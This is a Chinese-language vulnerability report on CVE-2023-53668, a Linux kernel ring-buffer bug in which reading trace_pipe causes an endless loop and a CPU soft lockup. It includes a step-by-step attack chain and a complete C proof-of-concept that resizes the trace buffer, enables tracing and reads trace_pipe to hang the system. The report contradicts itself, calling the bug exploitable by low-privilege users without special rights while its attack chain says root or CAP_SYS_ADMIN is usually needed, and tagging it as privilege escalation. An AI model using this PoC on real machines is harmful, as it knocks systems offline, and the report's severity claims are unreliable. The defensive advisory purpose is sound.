IPBUF安全漏洞报告
English
CVE-2023-53668 CVSS 7.1 高危

CVE-2023-53668 Linux内核ring-buffer读取trace_pipe死循环漏洞

披露日期: 2025-10-07
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2023-53668
漏洞类型
拒绝服务/死循环
CVSS评分
7.1 高危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel

相关标签

Linux Kernelring-buffertrace_pipe拒绝服务死循环软锁本地提权内核漏洞CVE-2023-53668DoS

漏洞概述

CVE-2023-53668是Linux内核ring-buffer子系统中的一个高危漏洞,影响trace_pipe文件的读取操作。该漏洞源于内核在重置ring buffer时未能正确清除所有页面的entries数据,导致在缩减ring buffer时,含有脏数据的页面被错误地计入cpu_buffer->overrun计数中,造成overrun计数不正确。当用户读取trace_pipe文件时,ring_buffer_empty_cpu()函数检测到缓冲区非空,但随后peek_next_entry()函数始终返回NULL(因为rb_num_of_entries()始终为0),导致用户缓冲区永远无法被填充,触发内核中的无限死循环,最终引发软锁(soft lockup)。该漏洞可被本地低权限用户触发,导致系统CPU长时间被占用(示例中CPU#6卡住22秒),严重影响系统可用性。由于该漏洞需要本地访问权限且需要低权限认证,攻击者可在多用户系统中利用此漏洞发起拒绝服务攻击,使系统无法正常运行。CVSS评分为7.1分,属于高危级别漏洞。该漏洞已在多个Linux内核稳定版本中通过补丁修复,主要修复方式是在rb_reset_cpu()函数中清除所有页面的entries数据。

技术细节

该漏洞的技术原理涉及Linux内核ring-buffer子系统中trace_pipe读取路径的状态不一致问题。具体分析如下:

1. **漏洞触发路径**:当用户进程执行`cat /sys/kernel/debug/tracing/trace_pipe`时,内核调用tracing_read_pipe()函数。在该函数中,首先调用tracing_wait_pipe()查找非空的缓冲区,然后通过trace_find_next_entry_inc()尝试读取下一个条目。

2. **死循环形成机制**:在__find_next_entry()函数中,ring_buffer_empty_cpu()检测到某个CPU的缓冲区非空,但随后的peek_next_entry() -> ring_buffer_peek() -> rb_buffer_peek() -> rb_get_reader_page()调用链中,由于rb_num_of_entries()始终返回0,导致返回NULL。用户缓冲区未被填充,代码跳转到waitagain标签处重新开始,形成无限循环。

3. **根本原因**:在rb_reset_cpu()函数中重置ring buffer时,仅重置了部分页面的entries数据,而未清除所有页面。当后续调用rb_remove_pages()缩减ring buffer时,被缩减的页面中残留的脏entries数据会被错误地累加到cpu_buffer->overrun计数中,导致overrun值异常增大,进而影响后续读取操作的状态判断。

4. **修复方案**:在内核补丁中修改rb_reset_cpu()函数,确保在重置ring buffer时清除所有页面的entries数据,防止脏数据残留导致overrun计数错误。

5. **利用方式**:本地低权限用户通过持续读取trace_pipe文件即可触发该漏洞,无需特殊权限或用户交互。

攻击链分析

STEP 1
步骤1:环境准备
攻击者需要本地访问目标系统,并具有读取/sys/kernel/debug/tracing目录的权限(通常需要root权限或CAP_SYS_ADMIN能力)。挂载debugfs文件系统。
STEP 2
步骤2:配置ring buffer
通过写入/sys/kernel/debug/tracing/buffer_size_kb,先增大ring buffer大小分配多个页面,然后缩小buffer大小触发rb_remove_pages()调用,此时残留脏数据的页面会导致overrun计数错误。
STEP 3
步骤3:启用追踪器
启用function tracer或其他追踪器,使ring buffer产生活动数据,增加触发漏洞的概率。
STEP 4
步骤4:读取trace_pipe触发死循环
执行cat /sys/kernel/debug/tracing/trace_pipe或通过程序读取该文件。内核进入tracing_read_pipe()函数,ring_buffer_empty_cpu()检测到非空缓冲区,但peek_next_entry()始终返回NULL,导致无限循环。
STEP 5
步骤5:系统软锁
CPU长时间(默认22秒)处于内核态无法调度,触发soft lockup watchdog告警,系统可用性受到严重影响,可能需要重启恢复。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
/* CVE-2023-53668 - Linux Kernel ring-buffer trace_pipe Deadloop PoC * This PoC triggers the soft lockup by continuously reading trace_pipe * which causes an infinite loop in the kernel. */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <fcntl.h> #include <string.h> #include <sys/stat.h> #include <signal.h> #include <errno.h> #define TRACING_DIR "/sys/kernel/debug/tracing" #define TRACE_PIPE TRACING_DIR "/trace_pipe" #define BUFFER_SIZE_KB "4096" /* Increase buffer size to 4MB */ static volatile int keep_running = 1; void handle_signal(int sig) { keep_running = 0; printf("\n[!] Received signal %d, stopping...\n", sig); } /* Step 1: Configure the trace buffer */ int configure_buffer(void) { char path[256]; char buf[64]; int fd; /* Set buffer size to trigger page reduction scenario */ snprintf(path, sizeof(path), "%s/buffer_size_kb", TRACING_DIR); fd = open(path, O_WRONLY); if (fd < 0) { if (errno == EACCES) { fprintf(stderr, "[-] Need root or tracing privileges\n"); return -1; } perror("open buffer_size_kb"); return -1; } /* First increase buffer to allocate many pages */ if (write(fd, BUFFER_SIZE_KB, strlen(BUFFER_SIZE_KB)) < 0) { perror("write buffer_size_kb"); close(fd); return -1; } close(fd); /* Then reduce buffer to trigger rb_remove_pages() with dirty entries */ fd = open(path, O_WRONLY); if (fd >= 0) { if (write(fd, "1", 1) < 0) { perror("write buffer_size_kb reduce"); } close(fd); } return 0; } /* Step 2: Enable a tracer to generate ring buffer activity */ int enable_tracer(void) { int fd; char path[256]; /* Enable function tracer to fill ring buffer */ snprintf(path, sizeof(path), "%s/current_tracer", TRACING_DIR); fd = open(path, O_WRONLY); if (fd < 0) { perror("open current_tracer"); return -1; } if (write(fd, "function", 8) < 0) { perror("write current_tracer"); close(fd); return -1; } close(fd); /* Enable tracing */ snprintf(path, sizeof(path), "%s/tracing_on", TRACING_DIR); fd = open(path, O_WRONLY); if (fd >= 0) { if (write(fd, "1", 1) < 0) { perror("write tracing_on"); } close(fd); } return 0; } /* Step 3: Read trace_pipe to trigger the deadloop */ void trigger_deadloop(void) { int fd; char buf[4096]; ssize_t n; int count = 0; printf("[*] Opening trace_pipe to trigger deadloop...\n"); fd = open(TRACE_PIPE, O_RDONLY); if (fd < 0) { perror("open trace_pipe"); return; } /* Continuously read trace_pipe - this will hang in kernel deadloop */ while (keep_running && count < 100) { n = read(fd, buf, sizeof(buf)); if (n < 0) { if (errno == EINTR) continue; perror("read trace_pipe"); break; } count++; printf("[+] Read iteration %d, bytes=%zd\n", count, n); } close(fd); } int main(int argc, char *argv[]) { printf("========================================\n"); printf("CVE-2023-53668 PoC\n"); printf("Linux Kernel ring-buffer trace_pipe Deadloop\n"); printf("========================================\n\n"); signal(SIGINT, handle_signal); signal(SIGTERM, handle_signal); /* Check if tracing is available */ if (access(TRACING_DIR, F_OK) != 0) { fprintf(stderr, "[-] tracing filesystem not available\n"); fprintf(stderr, " Try: mount -t debugfs debugfs /sys/kernel/debug\n"); return 1; } /* Configure buffer to trigger the vulnerability condition */ printf("[*] Step 1: Configuring ring buffer...\n"); if (configure_buffer() < 0) { fprintf(stderr, "[-] Failed to configure buffer\n"); return 1; } /* Enable tracer to generate buffer activity */ printf("[*] Step 2: Enabling tracer...\n"); if (enable_tracer() < 0) { fprintf(stderr, "[-] Failed to enable tracer\n"); return 1; } /* Trigger the deadloop */ printf("[*] Step 3: Reading trace_pipe (will trigger deadloop)...\n"); printf("[*] Watch for soft lockup message in dmesg:\n"); printf(" 'watchdog: BUG: soft lockup - CPU#X stuck for 22s!'\n\n"); trigger_deadloop(); printf("\n[*] Done. Check dmesg for soft lockup messages.\n"); return 0; }

影响范围

Linux Kernel < 4.14.328
Linux Kernel 4.15.x - 4.19.x(受影响)
Linux Kernel 4.20.x - 5.4.x(受影响)
Linux Kernel 5.5.x - 5.10.x(受影响)
Linux Kernel 5.11.x - 5.15.x(受影响)
Linux Kernel 5.16.x - 6.1.x(受影响)
Linux Kernel 6.2.x - 6.5.x(受影响)
Linux Kernel 6.6.x 早期版本(受影响)

防御指南

临时缓解措施
在无法立即升级内核的情况下,建议采取以下临时缓解措施:1)限制对/sys/kernel/debug/tracing目录的访问权限,仅允许特权用户访问;2)通过内核参数debugfs=off禁用debugfs挂载;3)使用cgroup或namespace隔离防止非特权用户访问tracing接口;4)监控系统CPU使用率和soft lockup告警,及时发现并处理异常情况;5)在生产环境中避免在容器或非特权环境中暴露tracing接口。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表